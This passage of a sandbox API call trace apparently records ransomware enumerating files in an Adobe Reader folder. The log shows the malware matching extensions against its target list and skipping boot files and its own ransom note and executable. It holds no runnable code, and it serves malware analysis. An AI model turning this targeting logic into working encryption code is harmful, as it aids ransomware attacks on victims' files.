(lpString1=".kdc", lpString2=".png") returned -1 [0270.866] lstrlenW (lpString=".kmz") returned 4 [0270.866] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0270.866] lstrlenW (lpString=".kwm") returned 4 [0270.866] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0270.866] lstrlenW (lpString=".lasso") returned 6 [0270.866] lstrcmpiW (lpString1=".lasso", lpString2="er.png") returned -1 [0270.866] lstrlenW (lpString=".lbi") returned 4 [0270.866] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0270.866] lstrlenW (lpString=".lgf") returned 4 [0270.866] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0270.866] lstrlenW (lpString=".lgp") returned 4 [0270.866] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0270.866] lstrlenW (lpString=".log") returned 4 [0270.867] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0270.867] lstrlenW (lpString=".m1v") returned 4 [0270.867] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0270.867] lstrlenW (lpString=".m4a") returned 4 [0270.867] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0270.867] lstrlenW (lpString=".m4v") returned 4 [0270.867] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0270.867] lstrlenW (lpString=".max") returned 4 [0270.867] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0270.867] lstrlenW (lpString=".md") returned 3 [0270.867] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0270.867] lstrlenW (lpString=".mda") returned 4 [0270.867] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0270.867] lstrlenW (lpString=".mdb") returned 4 [0270.868] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0270.868] lstrlenW (lpString=".mde") returned 4 [0270.868] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0270.868] lstrlenW (lpString=".mdf") returned 4 [0270.868] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0270.868] lstrlenW (lpString=".mdw") returned 4 [0270.868] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0270.868] lstrlenW (lpString=".mef") returned 4 [0270.868] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0270.868] lstrlenW (lpString=".mft") returned 4 [0270.868] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0270.868] lstrlenW (lpString=".mfw") returned 4 [0270.868] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0270.868] lstrlenW (lpString=".mht") returned 4 [0270.868] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0270.868] lstrlenW (lpString=".mhtml") returned 6 [0270.868] lstrcmpiW (lpString1=".mhtml", lpString2="er.png") returned -1 [0270.868] lstrlenW (lpString=".mka") returned 4 [0270.868] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0270.868] lstrlenW (lpString=".mkidx") returned 6 [0270.869] lstrcmpiW (lpString1=".mkidx", lpString2="er.png") returned -1 [0270.869] lstrlenW (lpString=".mkv") returned 4 [0270.869] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0270.869] lstrlenW (lpString=".mos") returned 4 [0270.869] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0270.869] lstrlenW (lpString=".mov") returned 4 [0270.869] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0270.869] lstrlenW (lpString=".mp3") returned 4 [0270.869] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0270.869] lstrlenW (lpString=".mp4") returned 4 [0270.869] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0270.869] lstrlenW (lpString=".mpeg") returned 5 [0270.869] lstrcmpiW (lpString1=".mpeg", lpString2="r.png") returned -1 [0270.869] lstrlenW (lpString=".mpg") returned 4 [0270.869] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0270.869] lstrlenW (lpString=".mpv") returned 4 [0270.870] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0270.870] lstrlenW (lpString=".mrw") returned 4 [0270.870] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0270.870] lstrlenW (lpString=".msg") returned 4 [0270.870] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0270.870] lstrlenW (lpString=".mxl") returned 4 [0270.870] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0270.870] lstrlenW (lpString=".myd") returned 4 [0270.870] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0270.871] lstrlenW (lpString=".myi") returned 4 [0270.871] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0270.871] lstrlenW (lpString=".nef") returned 4 [0270.871] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0270.871] lstrlenW (lpString=".nrw") returned 4 [0270.871] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0270.871] lstrlenW (lpString=".obj") returned 4 [0270.871] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0270.871] lstrlenW (lpString=".odb") returned 4 [0270.871] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0270.871] lstrlenW (lpString=".odc") returned 4 [0270.871] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0270.871] lstrlenW (lpString=".odm") returned 4 [0270.871] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0270.871] lstrlenW (lpString=".odp") returned 4 [0270.871] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0270.872] lstrlenW (lpString=".ods") returned 4 [0270.872] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0270.872] lstrlenW (lpString=".oft") returned 4 [0270.872] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0270.872] lstrlenW (lpString=".one") returned 4 [0270.872] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0270.872] lstrlenW (lpString=".onepkg") returned 7 [0270.872] lstrcmpiW (lpString1=".onepkg", lpString2="der.png") returned -1 [0270.872] lstrlenW (lpString=".onetoc2") returned 8 [0270.872] lstrcmpiW (lpString1=".onetoc2", lpString2="ader.png") returned -1 [0270.872] lstrlenW (lpString=".opt") returned 4 [0270.872] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0270.872] lstrlenW (lpString=".oqy") returned 4 [0270.872] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0270.872] lstrlenW (lpString=".orf") returned 4 [0270.873] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0270.873] lstrlenW (lpString=".p12") returned 4 [0270.873] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0270.873] lstrlenW (lpString=".p7b") returned 4 [0270.873] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0270.873] lstrlenW (lpString=".p7c") returned 4 [0270.873] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0270.873] lstrlenW (lpString=".pam") returned 4 [0270.873] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0270.873] lstrlenW (lpString=".pbm") returned 4 [0270.873] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0270.873] lstrlenW (lpString=".pct") returned 4 [0270.873] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0270.873] lstrlenW (lpString=".pcx") returned 4 [0270.873] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0270.873] lstrlenW (lpString=".pdd") returned 4 [0270.873] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0270.873] lstrlenW (lpString=".pdf") returned 4 [0270.873] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0270.873] lstrlenW (lpString=".pdp") returned 4 [0270.874] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0270.874] lstrlenW (lpString=".pef") returned 4 [0270.874] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0270.874] lstrlenW (lpString=".pem") returned 4 [0270.874] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0270.874] lstrlenW (lpString=".pff") returned 4 [0270.874] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0270.874] lstrlenW (lpString=".pfm") returned 4 [0270.874] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0270.874] lstrlenW (lpString=".pfx") returned 4 [0270.874] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0270.874] lstrlenW (lpString=".pgm") returned 4 [0270.874] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0270.874] lstrlenW (lpString=".php") returned 4 [0270.874] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0270.874] lstrlenW (lpString=".php3") returned 5 [0270.874] lstrcmpiW (lpString1=".php3", lpString2="r.png") returned -1 [0270.874] lstrlenW (lpString=".php4") returned 5 [0270.874] lstrcmpiW (lpString1=".php4", lpString2="r.png") returned -1 [0270.875] lstrlenW (lpString=".php5") returned 5 [0270.875] lstrcmpiW (lpString1=".php5", lpString2="r.png") returned -1 [0270.875] lstrlenW (lpString=".phtml") returned 6 [0270.875] lstrcmpiW (lpString1=".phtml", lpString2="er.png") returned -1 [0270.875] lstrlenW (lpString=".pict") returned 5 [0270.875] lstrcmpiW (lpString1=".pict", lpString2="r.png") returned -1 [0270.875] lstrlenW (lpString=".pl") returned 3 [0270.875] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0270.875] lstrlenW (lpString=".pls") returned 4 [0270.875] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0270.875] lstrlenW (lpString=".pm") returned 3 [0270.875] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0270.875] lstrlenW (lpString=".png") returned 4 [0270.875] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0270.875] lstrlenW (lpString="bg_patterns_header.png") returned 22 [0270.875] lstrlenW (lpString=".love$") returned 6 [0270.875] lstrcmpiW (lpString1=".love$", lpString2="er.png") returned -1 [0270.875] lstrlenW (lpString="bg_patterns_header.png") returned 22 [0270.875] lstrcmpiW (lpString1="boot.ini", lpString2="bg_patterns_header.png") returned 1 [0270.875] lstrcmpiW (lpString1="bootfont.bin", lpString2="bg_patterns_header.png") returned 1 [0270.876] lstrcmpiW (lpString1="ntldr", lpString2="bg_patterns_header.png") returned 1 [0270.876] lstrcmpiW (lpString1="ntdetect.com", lpString2="bg_patterns_header.png") returned 1 [0270.876] lstrcmpiW (lpString1="io.sys", lpString2="bg_patterns_header.png") returned 1 [0270.876] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="bg_patterns_header.png") returned 1 [0270.876] lstrcmpiW (lpString1="Info.hta", lpString2="bg_patterns_header.png") returned 1 [0270.876] lstrcmpiW (lpString1="finbbp.exe", lpString2="bg_patterns_header.png") returned 1 [0270.876] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png") returned 136 [0270.876] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0270.876] lstrlenW (lpString="bg_pattern_RHP.png") returned 18 [0270.876] lstrlenW (lpString=".1cd") returned 4 [0270.876] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0270.876] lstrlenW (lpString=".3ds") returned 4 [0270.876] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0270.876] lstrlenW (lpString=".3fr") returned 4 [0270.876] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0270.876] lstrlenW (lpString=".3g2") returned 4 [0270.876] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0270.877] lstrlenW (lpString=".3gp") returned 4 [0270.877] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0270.877] lstrlenW (lpString=".7z") returned 3 [0270.877] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0270.877] lstrlenW (lpString=".accda") returned 6 [0270.877] lstrcmpiW (lpString1=".accda", lpString2="HP.png") returned -1 [0270.877] lstrlenW (lpString=".accdb") returned 6 [0270.877] lstrcmpiW (lpString1=".accdb", lpString2="HP.png") returned -1 [0270.877] lstrlenW (lpString=".accdc") returned 6 [0270.877] lstrcmpiW (lpString1=".accdc", lpString2="HP.png") returned -1 [0270.877] lstrlenW (lpString=".accde") returned 6 [0270.877] lstrcmpiW (lpString1=".accde", lpString2="HP.png") returned -1 [0270.877] lstrlenW (lpString=".accdt") returned 6 [0270.877] lstrcmpiW (lpString1=".accdt", lpString2="HP.png") returned -1 [0270.877] lstrlenW (lpString=".accdw") returned 6 [0270.877] lstrcmpiW (lpString1=".accdw", lpString2="HP.png") returned -1 [0270.877] lstrlenW (lpString=".adb") returned 4 [0270.877] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0270.877] lstrlenW (lpString=".adp") returned 4 [0270.877] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0270.877] lstrlenW (lpString=".ai") returned 3 [0270.877] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0270.877] lstrlenW (lpString=".ai3") returned 4 [0270.878] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0270.878] lstrlenW (lpString=".ai4") returned 4 [0270.878] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0270.878] lstrlenW (lpString=".ai5") returned 4 [0270.878] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0270.878] lstrlenW (lpString=".ai6") returned 4 [0270.878] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0270.878] lstrlenW (lpString=".ai7") returned 4 [0270.878] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icons.png", cAlternateFileName="")) returned 1 [0270.879] lstrlenW (lpString="icons.png") returned 9 [0270.879] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0270.879] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0270.879] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0270.879] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0270.880] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0270.880] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0270.881] lstrlenW (lpString="new_icons_retina.png") returned 20 [0270.881] lstrlenW (lpString=".1cd") returned 4 [0270.881] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0270.881] lstrlenW (lpString=".3ds") returned 4 [0270.881] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0270.881] lstrlenW (lpString=".3fr") returned 4 [0270.881] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0270.881] lstrlenW (lpString=".3g2") returned 4 [0270.881] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0270.881] lstrlenW (lpString=".3gp") returned 4 [0270.881] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0270.881] lstrlenW (lpString=".7z") returned 3 [0270.882] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0270.882] lstrlenW (lpString=".accda") returned 6 [0270.882] lstrcmpiW (lpString1=".accda", lpString2="na.png") returned -1 [0270.882] lstrlenW (lpString=".accdb") returned 6 [0270.882] lstrcmpiW (lpString1=".accdb", lpString2="na.png") returned -1 [0270.882] lstrlenW (lpString=".accdc") returned 6 [0270.882] lstrcmpiW (lpString1=".accdc", lpString2="na.png") returned -1 [0270.882] lstrlenW (lpString=".accde") returned 6 [0270.882] lstrcmpiW (lpString1=".accde", lpString2="na.png") returned -1 [0270.885] lstrlenW (lpString=".accdt") returned 6 [0270.886] lstrcmpiW (lpString1=".accdt", lpString2="na.png") returned -1 [0270.886] lstrlenW (lpString=".accdw") returned 6 [0270.886] lstrcmpiW (lpString1=".accdw", lpString2="na.png") returned -1 [0270.886] lstrlenW (lpString=".adb") returned 4 [0270.886] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0270.886] lstrlenW (lpString=".adp") returned 4 [0270.886] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0270.886] lstrlenW (lpString=".ai") returned 3 [0270.886] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0270.886] lstrlenW (lpString=".ai3") returned 4 [0270.886] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0270.887] lstrlenW (lpString=".ai4") returned 4 [0270.887] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0270.887] lstrlenW (lpString=".ai5") returned 4 [0270.887] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0270.887] lstrlenW (lpString=".ai6") returned 4 [0270.887] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0270.887] lstrlenW (lpString=".ai7") returned 4 [0270.887] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0270.888] lstrlenW (lpString=".ai8") returned 4 [0270.888] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0270.888] lstrlenW (lpString=".anim") returned 5 [0270.888] lstrcmpiW (lpString1=".anim", lpString2="a.png") returned -1 [0270.888] lstrlenW (lpString=".arw") returned 4 [0270.888] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0270.888] lstrlenW (lpString=".as") returned 3 [0270.888] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0270.888] lstrlenW (lpString=".asa") returned 4 [0270.888] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0270.888] lstrlenW (lpString=".asc") returned 4 [0270.888] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0270.888] lstrlenW (lpString=".ascx") returned 5 [0270.888] lstrcmpiW (lpString1=".ascx", lpString2="a.png") returned -1 [0270.889] lstrlenW (lpString=".asm") returned 4 [0270.889] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0270.889] lstrlenW (lpString=".asmx") returned 5 [0270.889] lstrcmpiW (lpString1=".asmx", lpString2="a.png") returned -1 [0270.889] lstrlenW (lpString=".asp") returned 4 [0270.889] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0270.889] lstrlenW (lpString=".aspx") returned 5 [0270.889] lstrcmpiW (lpString1=".aspx", lpString2="a.png") returned -1 [0270.889] lstrlenW (lpString=".asr") returned 4 [0270.889] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0270.889] lstrlenW (lpString=".asx") returned 4 [0270.889] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0270.889] lstrlenW (lpString=".avi") returned 4 [0270.889] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0270.890] lstrlenW (lpString=".avs") returned 4 [0270.890] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0270.890] lstrlenW (lpString=".backup") returned 7 [0270.890] lstrcmpiW (lpString1=".backup", lpString2="ina.png") returned -1 [0270.891] lstrlenW (lpString=".bak") returned 4 [0270.891] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0270.891] lstrlenW (lpString=".bay") returned 4 [0270.891] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0270.891] lstrlenW (lpString=".bd") returned 3 [0270.891] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0270.891] lstrlenW (lpString=".bin") returned 4 [0270.891] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0270.891] lstrlenW (lpString=".bmp") returned 4 [0270.891] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0270.891] lstrlenW (lpString=".bz2") returned 4 [0270.891] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0270.891] lstrlenW (lpString=".c") returned 2 [0270.891] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0270.892] lstrlenW (lpString=".cdr") returned 4 [0270.892] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0270.892] lstrlenW (lpString=".cer") returned 4 [0270.892] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0270.892] lstrlenW (lpString=".cf") returned 3 [0270.892] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0270.892] lstrlenW (lpString=".cfc") returned 4 [0270.892] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0270.892] lstrlenW (lpString=".cfm") returned 4 [0270.892] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0270.892] lstrlenW (lpString=".cfml") returned 5 [0270.892] lstrcmpiW (lpString1=".cfml", lpString2="a.png") returned -1 [0270.892] lstrlenW (lpString=".cfu") returned 4 [0270.893] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0270.893] lstrlenW (lpString=".chm") returned 4 [0270.893] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0270.893] lstrlenW (lpString=".cin") returned 4 [0270.893] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0270.893] lstrlenW (lpString=".class") returned 6 [0270.893] lstrcmpiW (lpString1=".class", lpString2="na.png") returned -1 [0270.893] lstrlenW (lpString=".clx") returned 4 [0270.893] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0270.893] lstrlenW (lpString=".config") returned 7 [0270.893] lstrcmpiW (lpString1=".config", lpString2="ina.png") returned -1 [0270.893] lstrlenW (lpString=".cpp") returned 4 [0270.893] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0270.893] lstrlenW (lpString=".cr2") returned 4 [0270.894] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0270.894] lstrlenW (lpString=".crt") returned 4 [0270.894] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0270.894] lstrlenW (lpString=".crw") returned 4 [0270.894] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0270.894] lstrlenW (lpString=".cs") returned 3 [0270.894] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0270.894] lstrlenW (lpString=".css") returned 4 [0270.894] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0270.894] lstrlenW (lpString=".csv") returned 4 [0270.894] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0270.894] lstrlenW (lpString=".cub") returned 4 [0270.894] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0270.894] lstrlenW (lpString=".dae") returned 4 [0270.894] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0270.894] lstrlenW (lpString=".dat") returned 4 [0270.895] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0270.895] lstrlenW (lpString=".db") returned 3 [0270.895] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0270.895] lstrlenW (lpString=".dbf") returned 4 [0270.895] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0270.895] lstrlenW (lpString=".dbx") returned 4 [0270.895] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0270.895] lstrlenW (lpString=".dc3") returned 4 [0270.895] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0270.895] lstrlenW (lpString=".dcm") returned 4 [0270.896] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0270.896] lstrlenW (lpString=".dcr") returned 4 [0270.896] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0270.896] lstrlenW (lpString=".der") returned 4 [0270.896] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0270.896] lstrlenW (lpString=".dib") returned 4 [0270.896] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0270.896] lstrlenW (lpString=".dic") returned 4 [0270.896] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0270.896] lstrlenW (lpString=".dif") returned 4 [0270.896] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0270.896] lstrlenW (lpString=".divx") returned 5 [0270.896] lstrcmpiW (lpString1=".divx", lpString2="a.png") returned -1 [0270.896] lstrlenW (lpString=".djvu") returned 5 [0270.896] lstrcmpiW (lpString1=".djvu", lpString2="a.png") returned -1 [0270.897] lstrlenW (lpString=".dng") returned 4 [0270.897] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0270.897] lstrlenW (lpString=".doc") returned 4 [0270.897] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0270.897] lstrlenW (lpString=".docm") returned 5 [0270.897] lstrcmpiW (lpString1=".docm", lpString2="a.png") returned -1 [0270.897] lstrlenW (lpString=".docx") returned 5 [0270.897] lstrcmpiW (lpString1=".docx", lpString2="a.png") returned -1 [0270.898] lstrlenW (lpString=".dot") returned 4 [0270.898] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0271.048] lstrlenW (lpString=".dotm") returned 5 [0271.048] lstrcmpiW (lpString1=".dotm", lpString2="a.png") returned -1 [0271.048] 